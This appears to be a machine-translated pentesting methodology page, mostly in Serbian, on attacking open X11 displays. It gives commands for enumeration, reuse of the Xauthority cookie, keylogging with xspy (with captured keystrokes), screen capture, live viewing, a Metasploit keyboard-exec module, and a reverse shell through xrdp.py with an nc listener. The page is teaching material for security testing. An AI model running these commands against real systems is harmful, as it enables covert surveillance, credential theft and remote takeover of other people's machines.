6000 - Pentesting X11

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Basic Information

X Window System (X) je svestran sistem za prozore koji je prisutan na UNIX-baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih korisničkih interfejsa (GUI), pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Proverite za anonimnu vezu:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Lokalne Enumaracije

Fajl .Xauthority u korisnikovom home folderu je koristi od X11 za autorizaciju. Iz ovde:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generisanje 128bit ključa (“cookie”), čuvanje u ~/.Xauthority (ili gde pokazuje XAUTHORITY envvar). Klijent ga šalje serveru u čistom obliku! Server proverava da li ima kopiju ovog “cookie” i ako ima, veza je dozvoljena. Ključ generiše DMX.

Da biste koristili cookie, treba da postavite env var: export XAUTHORITY=/path/to/.Xauthority

Lokalna sesija enumeracije

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

U primeru, localhost:0 je pokretao xfce4-session.

Verifikujte Konekciju

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy za presretanje pritisaka na tastaturu.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Snimanje ekrana

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Način sa: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Prvo moramo pronaći ID prozora koristeći xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Za uživo gledanje potrebno je koristiti

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Dobijanje Shell-a

msf> use exploit/unix/x11/x11_keyboard_exec

Обратна љуска: Xrdp такође омогућава узимање обратне љушке преко Netcat-а. Укуцајте следећу команду:

./xrdp.py \<IP:0> –no-disp

U interfejsu možete videti opciju R-shell.

Zatim, pokrenite Netcat listener na vašem lokalnom sistemu na portu 5555.

nc -lvp 5555

Zatim, unesite svoju IP adresu i port u opciju R-Shell i kliknite na R-shell da dobijete shell

Reference

• https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

• https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

• https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Shodan

• port:6000 x11

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